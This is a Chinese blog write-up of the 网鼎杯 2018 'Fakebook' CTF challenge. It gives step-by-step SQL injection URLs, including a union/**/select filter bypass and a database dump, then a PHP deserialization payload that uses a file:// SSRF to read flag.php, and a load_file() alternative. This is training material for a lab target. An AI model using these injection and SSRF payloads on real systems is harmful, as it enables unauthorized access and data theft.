首页 > 其他分享 >[网鼎杯 2018]Fakebook

[网鼎杯 2018]Fakebook

时间:2023-10-07 23:13:49浏览次数:41  
标签:php http no buuoj blog 2018 网鼎杯 Fakebook view

原理

sql注入关键字绕过
反序列化
ssrf

解题过程

进入靶场,有登录按钮和注册按钮。查看页面原代码,对应是login.php和join.php,先注册一个看看有什么

blog随便输发现会报错,其他也是,那试试输入一个网站呢?

输入www.baidu.com发现可以

进入这个界面,先看看原代码吧

发现这个按钮的地址是view.php?no=1,进去看看

普普通通,那再看一下页面原代码

发现有base64加密值,data:text/html;base64

将加密值解密,可以发现这是注册时blog网站的页面原代码,可以猜测应该是访问了网站然后返回response的内容

没有其他东西了。注意到这个no=1,试试sql注入

http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=1# 回显正常
http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=1'# 回显异常
http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=1"#  回显异常

可以知道是涉及sql注入了,应该是数字型注入了

http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=1 order by 5# 回显错误
http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=1 order by 4# 回显正常

那就可以确定列项为4了

http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=-1 union select 1,2,3,4# 这个payload发现有过滤,那就看看过滤了什么关键字

http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=-1 union#    报错
http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=-1 select#    报错  
http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=-1 union #    报错
http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=-1 union select#  有过滤
综上可以知道是过滤了union select这个组合
https://blog.csdn.net/2301_77160226/article/details/131142174  参考这个
用union/**/select绕过
### 解法一
接下来正常步骤挖出信息
http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=-1 union/**/select 1,2,3,4# 找到显示位置为2

http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=-1 union/**/select 1,database(),3,4#  找到所处数据库为fakebook

http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'#   找到所处数据库的表为users

http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'#   找到users表的列名为no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from fakebook.users#
发现打印出来这个1adminc7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ecO:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:17;s:4:"blog";s:13:"www.baidu.com";} 
拆分一下可以知道1是no值,admin是username值,c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec是passwd加密值,O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:17;s:4:"blog";s:13:"www.baidu.com";}就是data值咯,说明要用到反序列化,那我们要知道源码才知道如何构造啊。速速用dirsearch扫描网站目录

python dirsearch.py -u http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81 --delay=3   BUU扫描目录需要用delay参数放慢,不然老是429扫不出结果,
扫出来flag.php和robots.txt分别访问
flag.php没什么东西,但是可以猜测flag就在这个文件内
robots.txt有提示,访问/user.php.bak下载下来了

看到源码了

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
}

可以看到isValidBlog是检验blog是否符合要求的,要以http或https开头,我输入www.baidu.com应该是默认加上了,这里应该是注册页面的检测函数
getBlogContents和get应该是获取blog地址的html内容,curl_exec使用且没有过滤,可以猜测是ssrf了。

既然从数据库取出来是序列化数据即data值,之后肯定要反序列化并且执行getBlogContents函数,那我们可以构造一个序列化数据,将blog改为读取本地文件 file://伪协议使用
构造序列化数据,将blog值变为file:///var/www/html/flag.php ,读取/var/www/html/flag.php文件内容 --网站搭建一般是在/var/www/html路径下

就可以构造payload了:view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:17;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
这里序列化数据的位置需要尝试1,3,4的位置,最终确定是4

查看页面原代码,base64解密得到flag

解法二

听说不是预期解,环境修复了,但是我复现的时候还是可以,就是使用load_file读取文件内容,这个函数的使用前提是mysql中的load_file函数没有禁用,允许访问系统文件,并将内容以字符串形式返回,不过需要的权限很高,且函数参数要求文件的绝对路径

view.php?no=-1 union/**/select 1,user(),3,4# 可以确定用户为root高权限
view.php?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#
查看页面原代码成功得到flag

参考文章:https://www.cnblogs.com/LoYoHo00/articles/15382697.html

标签:php,http,no,buuoj,blog,2018,网鼎杯,Fakebook,view
From: https://www.cnblogs.com/BEONTHE/p/17747705.html

相关文章

  • [TJOI2018] 游园会题解
    [TJOI2018]游园会(dp套dp)目录[TJOI2018]游园会(dp套dp)前言:题目简化:解题思路:较为简单的一步:较为困难的步骤思路总结代码呈现:注释/后记:前言:这是和dp套dp的初遇,这不得好好了解一下。题目简化:先把题目进行简化,就是要构造字符串,对于$len\in[0,k]$满足以下条件:只包含......
  • 【基环树 | 题解】P5022 [NOIP2018 提高组] 旅行
    前言一日知基环树弱,固补题。关于基环树基环树定义一个环,环上每个点都有一颗以该点为根的树,如下图为一棵基环树关于基环树常规思路通常来说基环树常规思路是先处理环上树的结果,后通过树的结果来处理换上结果。具体处理方式依照题目来定。然而只是通常来说因为基环树的问......
  • The 2018 ACM-ICPC Asia Qingdao Regional Contest, Online (The 2nd Universal Cup
    The2018ACM-ICPCAsiaQingdaoRegionalContest,Online(The2ndUniversalCup.Stage1:Qingdao)J-PresstheButton\(1\leqa,b,c,d\leq10^6\)题解容易发现存在循环节,每次位于\(gcd(a,c)\)的倍数的位置所以我们考虑处理一个循环节内的情况如果\(v\le......
  • 系统架构设计师历年(2009-2018)论文题目
    2009论文一:论基于DSSA的软件架构设计与应用论文二:论信息系统建模方法论文三:论基于REST服务的Web应用系统设计论文四:论软件可靠性设计与应用2010论文一:论软件的静态演化和动态演化及其应用论文二:论数据挖掘技术的应用论文三:论大规模分布式系统缓存设计策略论文四:论软件可靠性......
  • [网鼎杯 2018]Fakebook
    这是一道SQL联合注入与ssrf的题目解题过程进入链接发现是一个注册登录界面。在登录页面尝试注入没有作用。先随便注册一个用户登录后点击用户名跳转到详情界面随手测试发现存在报错,大概率有SQL注入1and1=2无回显测试为数字型注入尝试union联合注入,1orderby4查询......
  • P5015 [NOIP2018 普及组] 标题统计
    题目描述传送门凯凯刚写了一篇美妙的作文,请问这篇作文的标题中有多少个字符?注意:标题中可能包含大、小写英文字母、数字字符、空格和换行符。统计标题字符数时,空格和换行符不计算在内。输入格式输入文件只有一行,一个字符串\(s\)。输出格式输出文件只有一行,包含一个整数,即作......
  • P5299 [PKUWC2018] Slay the Spire
    P5299[PKUWC2018]SlaytheSpire洛谷:P5299[PKUWC2018]SlaytheSpireLOJ:#2538.「PKUWC2018」SlaytheSpire前言:请分清楚使用和抽取。九条要抽取\(m\)张牌,但只会使用\(k\)张牌。首先考虑当抽出的\(m\)张牌确定时的策略:记\(m\)张牌中强化牌的数量为\(c\)。......
  • Gym 104270 The 2018 ICPC Asia Qingdao Regional Programming Contest (The 1st Univ
    A.SequenceandSequenceB.KawaExam可以发现,对答案会产生影响的只有割边,把所有边双缩起来,然后就是一个森林。考虑一个树的时候怎么做,就是对于每条边求出这条边两端的众数个数,考虑线段树合并,每次动态维护子树内的众数和子树外的众数。#include<iostream>#include<cstdio>......
  • P5020 [NOIP2018 提高组] 货币系统
    #include<cstdio>#include<algorithm>usingnamespacestd;constintN=105;constintA=25005;inta[N];booldp[A];intmain(){ intt;scanf("%d",&t); while(t--){ intn;scanf("%d",&n); for(inti=......
  • CF957 Codeforces Round 472 (rated, Div. 2, based on VK Cup 2018 Round 2)
    CF957ATritonicIridescence如果原序列中有两个相同的字符,显然不合法。如果开头或者结尾为?,或者有两个连续的?,或者一个?两边的字符不同显然合法。否则一定不合法。#include<iostream>#include<cstdio>usingnamespacestd;constintN=105;intn;chars[N];intma......